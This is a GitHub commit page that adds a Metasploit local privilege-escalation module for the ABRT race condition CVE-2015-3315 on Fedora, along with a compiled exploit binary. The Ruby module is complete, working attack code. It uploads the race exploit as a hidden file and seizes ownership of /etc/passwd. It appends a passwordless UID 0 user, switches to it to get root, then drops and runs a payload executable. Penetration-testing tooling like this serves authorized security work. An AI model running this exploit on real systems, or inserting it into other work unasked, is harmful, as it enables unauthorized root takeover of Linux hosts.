Skip to content

Commit 5e11d36

Browse files
committed
Add ABRT raceabrt Privilege Escalation module
1 parent eb8429c commit 5e11d36

File tree

2 files changed

+189
-0
lines changed

2 files changed

+189
-0
lines changed

data/exploits/cve-2015-3315/raceabrt

62.7 KB
Binary file not shown.
Lines changed: 189 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,189 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Local
7+
Rank = ExcellentRanking
8+
9+
include Msf::Post::File
10+
include Msf::Exploit::EXE
11+
include Msf::Exploit::FileDropper
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'ABRT raceabrt Privilege Escalation',
16+
'Description' => %q{
17+
This module attempts to gain root privileges on Fedora systems with
18+
a vulnerable version of Automatic Bug Reporting Tool (ABRT) configured
19+
as the crash handler.
20+
21+
A race condition allows local users to change ownership of arbitrary
22+
files (CVE-2015-3315). This module uses a symlink attack on
23+
'/var/tmp/abrt/*/maps' to change the ownership of /etc/passwd,
24+
then adds a new user with UID=0 GID=0 to gain root privileges.
25+
Winning the race could take a few minutes.
26+
27+
This module has been tested successfully on ABRT packaged version
28+
2.2.1-1.fc19 on Fedora 19 x86_64 and 2.2.2-2.fc20 on Fedora 20 x86_64.
29+
Fedora 21 and Red Hat 7 systems are reportedly affected, but untested.
30+
},
31+
'License' => MSF_LICENSE,
32+
'Author' =>
33+
[
34+
'Tavis Ormandy', # Discovery and C exploit
35+
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
36+
],
37+
'DisclosureDate' => 'Apr 14 2015',
38+
'Platform' => [ 'linux' ],
39+
'Arch' => [ ARCH_X86, ARCH_X64 ],
40+
'SessionTypes' => [ 'shell', 'meterpreter' ],
41+
'Targets' => [[ 'Auto', {} ]],
42+
'References' =>
43+
[
44+
[ 'CVE', '2015-3315' ],
45+
[ 'EDB', '36747' ],
46+
[ 'BID', '75117' ],
47+
[ 'URL', 'https://gist.github.com/taviso/fe359006836d6cd1091e' ],
48+
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/14/4' ],
49+
[ 'URL', 'http://www.openwall.com/lists/oss-security/2015/04/16/12' ],
50+
[ 'URL', 'https://github.com/abrt/abrt/commit/80408e9e24a1c10f85fd969e1853e0f192157f92' ],
51+
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-1862' ],
52+
[ 'URL', 'https://access.redhat.com/security/cve/cve-2015-3315' ],
53+
[ 'URL', 'https://access.redhat.com/articles/1415483' ],
54+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211223' ],
55+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1211835' ],
56+
[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=1218239' ]
57+
]
58+
))
59+
register_options(
60+
[
61+
OptInt.new('TIMEOUT', [ true, 'Race timeout (seconds)', '900' ]),
62+
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
63+
])
64+
end
65+
66+
def base_dir
67+
datastore['WritableDir']
68+
end
69+
70+
def timeout
71+
datastore['TIMEOUT']
72+
end
73+
74+
def check
75+
if cmd_exec('lsattr /etc/passwd').include? 'i'
76+
vprint_error 'File /etc/passwd is immutable'
77+
return CheckCode::Safe
78+
end
79+
80+
kernel_core_pattern = cmd_exec 'grep abrt-hook-ccpp /proc/sys/kernel/core_pattern'
81+
unless kernel_core_pattern.include? 'abrt-hook-ccpp'
82+
vprint_error 'System is NOT configured to use ABRT for crash reporting'
83+
return CheckCode::Safe
84+
end
85+
vprint_good 'System is configured to use ABRT for crash reporting'
86+
87+
if cmd_exec('[ -d /var/spool/abrt ] && echo true').include? 'true'
88+
vprint_error "Directory '/var/spool/abrt' exists. System has been patched."
89+
return CheckCode::Safe
90+
end
91+
vprint_good 'System does not appear to have been patched'
92+
93+
unless cmd_exec('[ -d /var/tmp/abrt ] && echo true').include? 'true'
94+
vprint_error "Directory '/var/tmp/abrt' does NOT exist"
95+
return CheckCode::Safe
96+
end
97+
vprint_good "Directory '/var/tmp/abrt' exists"
98+
99+
if cmd_exec('systemctl status abrt-ccpp | grep Active').include? 'inactive'
100+
vprint_error 'abrt-ccp service NOT running'
101+
return CheckCode::Safe
102+
end
103+
vprint_good 'abrt-ccpp service is running'
104+
105+
abrt_version = cmd_exec('yum list installed abrt | grep abrt').split(/\s+/)[1]
106+
unless abrt_version.blank?
107+
vprint_status "System is using ABRT package version #{abrt_version}"
108+
end
109+
110+
CheckCode::Detected
111+
end
112+
113+
def upload_and_chmodx(path, data)
114+
print_status "Writing '#{path}' (#{data.size} bytes) ..."
115+
rm_f path
116+
write_file path, data
117+
cmd_exec "chmod +x '#{path}'"
118+
register_file_for_cleanup path
119+
end
120+
121+
def exploit
122+
if check != CheckCode::Detected
123+
fail_with Failure::NotVulnerable, 'Target is not vulnerable'
124+
end
125+
126+
chown_file = '/etc/passwd'
127+
username = rand_text_alpha rand(7..10)
128+
129+
# Upload Tavis Ormandy's raceabrt exploit:
130+
# - https://www.exploit-db.com/exploits/36747/
131+
# Cross-compiled with:
132+
# - i486-linux-musl-cc -static raceabrt.c
133+
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2015-3315', 'raceabrt'
134+
fd = ::File.open path, 'rb'
135+
executable_data = fd.read fd.stat.size
136+
fd.close
137+
138+
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
139+
executable_path = "#{base_dir}/#{executable_name}"
140+
upload_and_chmodx executable_path, executable_data
141+
142+
# Change working directory to base_dir
143+
cmd_exec "cd '#{base_dir}'"
144+
145+
# Launch raceabrt executable
146+
print_status "Trying to own '#{chown_file}' - This might take a few minutes (Timeout: #{timeout}s) ..."
147+
output = cmd_exec "#{executable_path} #{chown_file}", nil, timeout
148+
output.each_line { |line| vprint_status line.chomp }
149+
150+
# Check if we own /etc/passwd
151+
unless cmd_exec("[ -w #{chown_file} ] && echo true").include? 'true'
152+
fail_with Failure::Unknown, "Failed to own '#{chown_file}'"
153+
end
154+
155+
print_good "Success! '#{chown_file}' is writable"
156+
157+
# Add new user with no password
158+
print_status "Adding #{username} user to #{chown_file} ..."
159+
cmd_exec "echo '#{username}::0:0::/root:/bin/bash' >> #{chown_file}"
160+
161+
# Switch to new user
162+
vprint_status 'Switching to new user...'
163+
cmd_exec "su - #{username}"
164+
id = cmd_exec 'id'
165+
vprint_line id
166+
unless id.include? 'root'
167+
fail_with Failure::Unknown, 'Failed to gain root privileges'
168+
end
169+
170+
# Remove new user
171+
cmd_exec "sed -i 's/^#{username}.*$//g' #{chown_file}"
172+
passwd = cmd_exec "grep #{username} #{chown_file}"
173+
if passwd =~ /#{username}/
174+
print_warning "Could not remove the '#{username}' user from #{chown_file}"
175+
end
176+
177+
# Reinstate /etc/passwd ownership
178+
cmd_exec "chown root:root #{chown_file}"
179+
180+
# Upload payload executable
181+
payload_name = ".#{rand_text_alphanumeric rand(5..10)}"
182+
payload_path = "#{base_dir}/#{payload_name}"
183+
upload_and_chmodx payload_path, generate_payload_exe
184+
185+
# Execute payload executable
186+
vprint_status 'Executing payload...'
187+
cmd_exec payload_path
188+
end
189+
end

0 commit comments

Comments
 (0)